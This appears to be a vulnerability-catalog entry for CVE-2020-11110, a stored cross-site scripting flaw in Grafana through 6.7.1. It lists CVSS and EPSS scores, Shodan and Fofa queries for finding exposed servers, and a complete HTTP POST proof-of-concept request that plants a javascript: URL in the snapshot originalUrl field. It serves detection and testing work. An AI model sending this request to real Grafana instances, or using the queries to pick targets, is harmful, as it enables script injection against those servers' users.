| Title | Grafana <= 6.7.1 - Cross-Site Scripting |
|---|---|
| Author | emadshanab |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions. |
| Remediation | This issue can be resolved by updating Grafana to the latest version. |
| CVSS Score | 5.4 |
| EPSS Score | 0.72691 |
| CVE ID | CVE-2020-11110 |
| CWE ID | CWE-79 |
| Shodan Query | title:"Grafana"cpe:"cpe:2.3:a:grafana:grafana"http.title:"grafana" |
| Fofa Query | title="grafana"app="grafana" |
| Tags | cve2020 cve xss grafana hackerone vuln |
Grafana through 6.7.1 contains an unauthenticated stored cross-site scripting vulnerability due to insufficient input protection in the originalUrl field, which allows an attacker to inject JavaScript code that will be executed after clicking on Open Original Dashboard after visiting the snapshot.
POST /api/snapshots HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Content-Length: 739
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Connection: close
Referer: http://www.victim.com
content-type: application/json
Accept-Encoding: gzip
{"dashboard":{"annotations":{"list":[{"name":"Annotations & Alerts","enable":true,"iconColor":"rgba(0, 211, 255, 1)","type":"dashboard","builtIn":1,"hide":true}]},"editable":true,"gnetId":null,"graphTooltip":0,"id":null,"links":[],"panels":[],"schemaVersion":18,"snapshot":{"originalUrl":"javascript:alert('Revers3c')","timestamp":"2020-03-30T01:24:44.529Z"},"style":"dark","tags":[],"templating":{"list":[]},"time":{"from":null,"to":"2020-03-30T01:24:53.549Z","raw":{"from":"6h","to":"now"}},"timepicker":{"refresh_intervals":["5s","10s","30s","1m","5m","15m","30m","1h","2h","1d"],"time_options":["5m","15m","1h","6h","12h","24h","2d","7d","30d"]},"timezone":"","title":"Dashboard","uid":null,"version":0},"name":"Dashboard","expires":0}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-11110.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-11110.pcap
N/AN/A